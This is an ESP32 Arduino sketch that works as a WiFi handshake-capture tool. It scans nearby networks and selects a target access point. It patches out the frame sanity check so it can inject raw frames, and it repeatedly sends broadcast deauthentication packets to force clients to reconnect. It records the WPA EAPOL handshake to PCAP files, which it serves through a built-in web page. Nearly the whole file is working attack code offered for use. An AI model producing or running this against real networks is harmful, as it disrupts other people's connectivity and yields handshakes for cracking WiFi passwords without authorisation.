Files
cute-handshake-capture/esp32-handshake-capture/esp32-handshake-capture.ino
2026-03-17 20:07:32 -07:00

455 lines
12 KiB
C++

#include <Arduino.h>
#include <WiFi.h>
#include "esp_wifi.h"
#include <SPIFFS.h>
#include <WebServer.h>
// Bypass ESP32 frame sanity check
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
return 0;
}
// PCAP structures
typedef struct {
uint32_t magic_number;
uint16_t version_major;
uint16_t version_minor;
int32_t thiszone;
uint32_t sigfigs;
uint32_t snaplen;
uint32_t network;
} __attribute__((packed)) pcap_global_header_t;
typedef struct {
uint32_t ts_sec;
uint32_t ts_usec;
uint32_t incl_len;
uint32_t orig_len;
} __attribute__((packed)) pcap_record_header_t;
// Network structure
typedef struct {
String ssid;
uint8_t bssid[6];
int ch;
int rssi;
String encryption;
} Network;
// Global variables
Network networks[20];
Network target;
uint8_t* pcap_buffer = nullptr;
size_t pcap_size = 0;
bool handshake_captured = false;
bool beacon_captured = false;
uint8_t eapol_count = 0;
bool with_deauth = false;
bool is_capturing = false;
WebServer server(80);
const char* ap_ssid = "HandshakeCapture";
const char* ap_password = "capture123";
void scanNetworks();
void listNetworks();
void selectTarget();
void startCapture(bool deauth);
void stopCapture();
void saveHandshake();
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
void pcapInit();
void pcapAppend(const uint8_t* frame, size_t len);
void sendDeauth();
void startWebServer();
void handleRoot();
void handleDownload();
void handleListFiles();
void printHelp();
void setup() {
Serial.begin(115200);
// Initialize SPIFFS
if (!SPIFFS.begin(true)) {
Serial.println("Failed to mount SPIFFS");
while(1) delay(1000);
}
// Start WiFi in AP mode
WiFi.softAP(ap_ssid, ap_password);
Serial.print("AP IP address: ");
Serial.println(WiFi.softAPIP());
// Set WiFi mode and enable promiscuous mode
WiFi.mode(WIFI_AP_STA);
esp_wifi_set_promiscuous(true);
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
// Start web server
startWebServer();
Serial.println("\nWiFi Handshake Capture Tool");
Serial.println("--------------------------");
printHelp();
}
void loop() {
server.handleClient();
if (Serial.available()) {
String input = Serial.readStringUntil('\n');
input.trim();
if (input == "1") {
scanNetworks();
}
else if (input == "2") {
listNetworks();
}
else if (input == "3") {
selectTarget();
}
else if (input == "4") {
startCapture(true);
}
else if (input == "5") {
startCapture(false);
}
else if (input == "6") {
stopCapture();
}
else if (input == "7") {
handleListFiles();
}
else if (input == "8") {
printHelp();
}
else if (input == "9") {
Serial.println("Restarting...");
ESP.restart();
}
else {
Serial.println("Invalid command. Type '8' for help.");
}
}
// Send deauth periodically if enabled and capturing
static unsigned long last_deauth = 0;
if (is_capturing && with_deauth && millis() - last_deauth > 500) {
sendDeauth();
last_deauth = millis();
}
}
void printHelp() {
Serial.println("\nCommands:");
Serial.println("1 - Scan networks");
Serial.println("2 - List scanned networks");
Serial.println("3 - Select target by ID");
Serial.println("4 - Start capture with deauth");
Serial.println("5 - Start capture without deauth");
Serial.println("6 - Stop capture");
Serial.println("7 - List captured files");
Serial.println("8 - Show this help");
Serial.println("9 - Restart device");
Serial.println("\nWeb Interface:");
Serial.print("http://");
Serial.print(WiFi.softAPIP());
Serial.println("/list");
}
void scanNetworks() {
Serial.println("\nScanning networks...");
WiFi.scanDelete();
// Perform the scan using the same method as network_scan.cpp
int n = WiFi.scanNetworks(false, true); // Async scan, hidden networks
if (n == 0) {
Serial.println("No networks found");
return;
}
// Clear previous scan results
memset(networks, 0, sizeof(networks));
for (int i = 0; i < min(n, 20); i++) {
String ssid = WiFi.SSID(i);
// Handle hidden networks
if (ssid.isEmpty()) {
networks[i].ssid = "<HIDDEN>";
} else {
networks[i].ssid = ssid;
}
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
networks[i].ch = WiFi.channel(i);
networks[i].rssi = WiFi.RSSI(i);
// Add encryption type information
wifi_auth_mode_t encryption = WiFi.encryptionType(i);
if (encryption == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
else if (encryption == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
else if (encryption == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
else if (encryption == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
else if (encryption == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
else if (encryption == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
else networks[i].encryption = "Unknown";
}
Serial.printf("Found %d networks\n", n);
}
void listNetworks() {
Serial.println("\nScanned Networks:");
Serial.println("ID | SSID | BSSID | CH | RSSI | Encryption");
Serial.println("---------------------------------------------------------------");
for (int i = 0; i < 20; i++) {
if (networks[i].ssid == "") continue;
char bssidStr[18];
snprintf(bssidStr, sizeof(bssidStr), "%02X:%02X:%02X:%02X:%02X:%02X",
networks[i].bssid[0], networks[i].bssid[1], networks[i].bssid[2],
networks[i].bssid[3], networks[i].bssid[4], networks[i].bssid[5]);
Serial.printf("%2d | %-16s | %s | %2d | %5d | %s\n",
i, networks[i].ssid.c_str(), bssidStr,
networks[i].ch, networks[i].rssi, networks[i].encryption.c_str());
}
}
void selectTarget() {
listNetworks();
Serial.print("\nEnter network ID to target: ");
while (!Serial.available()) delay(100);
int id = Serial.parseInt();
if (id >= 0 && id < 20 && networks[id].ssid != "") {
target = networks[id];
Serial.printf("\nSelected target: %s (%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
target.ssid.c_str(), target.bssid[0], target.bssid[1],
target.bssid[2], target.bssid[3], target.bssid[4],
target.bssid[5], target.ch);
} else {
Serial.println("Invalid selection");
}
}
void startCapture(bool deauth) {
if (target.ssid == "") {
Serial.println("No target selected");
return;
}
if (is_capturing) {
Serial.println("Already capturing. Stop first.");
return;
}
Serial.printf("\nStarting handshake capture for %s...\n", target.ssid.c_str());
Serial.println(deauth ? "With deauthentication" : "Without deauthentication");
pcapInit();
handshake_captured = false;
beacon_captured = false;
eapol_count = 0;
with_deauth = deauth;
is_capturing = true;
// Set to target channel
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
}
void stopCapture() {
if (!is_capturing) {
Serial.println("Not currently capturing");
return;
}
if (pcap_size > 0) {
saveHandshake();
} else {
Serial.println("No handshake captured");
}
is_capturing = false;
}
void saveHandshake() {
// Create filename with timestamp
String timestamp = String(millis() / 1000);
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
filename.replace(" ", "_"); // Remove spaces from filename
File file = SPIFFS.open(filename, FILE_WRITE);
if (!file) {
Serial.println("Failed to create file");
return;
}
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
Serial.printf("Handshake saved to %s (%d bytes)\n", filename.c_str(), pcap_size);
} else {
Serial.println("Error writing file");
}
file.close();
// Clean up
free(pcap_buffer);
pcap_buffer = nullptr;
pcap_size = 0;
}
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
if (!is_capturing) return;
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
uint8_t* payload = pkt->payload;
uint16_t len = pkt->rx_ctrl.sig_len;
if (len < 36) return;
uint8_t frame_type = payload[0];
bool is_beacon = frame_type == 0x80;
// Capture beacon frame
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
Serial.println("Captured beacon frame");
beacon_captured = true;
pcapAppend(payload, len);
return;
}
// Capture EAPOL frames (handshake)
if ((frame_type == 0x08 || frame_type == 0x88) &&
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
uint16_t ethertype = (payload[32] << 8) | payload[33];
if (ethertype == 0x888E) { // EAPOL
eapol_count++;
Serial.printf("Captured EAPOL frame %d/4\n", eapol_count);
pcapAppend(payload, len);
if (eapol_count >= 4) {
handshake_captured = true;
Serial.println("Complete handshake captured!");
stopCapture();
}
}
}
}
void pcapInit() {
free(pcap_buffer);
pcap_size = sizeof(pcap_global_header_t);
pcap_buffer = (uint8_t*)malloc(pcap_size);
pcap_global_header_t header = {
.magic_number = 0xa1b2c3d4,
.version_major = 2,
.version_minor = 4,
.thiszone = 0,
.sigfigs = 0,
.snaplen = 65535,
.network = 105 // LINKTYPE_IEEE802_11
};
memcpy(pcap_buffer, &header, sizeof(header));
}
void pcapAppend(const uint8_t* frame, size_t len) {
if (!frame || len == 0) return;
pcap_record_header_t rec = {
.ts_sec = millis() / 1000,
.ts_usec = (millis() % 1000) * 1000,
.incl_len = len,
.orig_len = len
};
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
if (!new_buf) return;
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
pcap_buffer = new_buf;
pcap_size += sizeof(rec) + len;
}
void sendDeauth() {
uint8_t deauth_packet[26] = {
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00
};
// Set BSSID in packet
memcpy(&deauth_packet[10], target.bssid, 6);
memcpy(&deauth_packet[16], target.bssid, 6);
// Send packet
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
Serial.println("Sent deauth packet");
}
void startWebServer() {
server.on("/", handleRoot);
server.on("/download", handleDownload);
server.on("/list", handleListFiles);
server.begin();
}
void handleRoot() {
server.send(200, "text/html",
"<h1>WiFi Handshake Capture Tool</h1>"
"<p><a href='/list'>View captured handshakes</a></p>"
"<p>Serial commands:</p>"
"<pre>1 - Scan networks\n2 - List networks\n3 - Select target\n4 - Capture with deauth\n5 - Capture without deauth\n6 - Stop capture\n7 - List files\n8 - Help\n9 - Restart</pre>");
}
void handleListFiles() {
String html = "<h1>Captured Handshakes</h1><ul>";
File root = SPIFFS.open("/");
File file = root.openNextFile();
while(file) {
if(String(file.name()).endsWith(".pcap")) {
html += "<li><a href='/download?file=" + String(file.name()) + "'>" + String(file.name()) + "</a> (" + String(file.size()) + " bytes)</li>";
}
file = root.openNextFile();
}
html += "</ul>";
server.send(200, "text/html", html);
}
void handleDownload() {
if(!server.hasArg("file")) {
server.send(400, "text/plain", "Missing file parameter");
return;
}
String filename = server.arg("file");
if(!SPIFFS.exists(filename)) {
server.send(404, "text/plain", "File not found");
return;
}
File file = SPIFFS.open(filename, "r");
if(!file) {
server.send(500, "text/plain", "Failed to open file");
return;
}
server.sendHeader("Content-Type", "application/octet-stream");
server.sendHeader("Content-Disposition", "attachment; filename=" + filename.substring(filename.lastIndexOf('/')+1));
server.streamFile(file, "application/octet-stream");
file.close();
}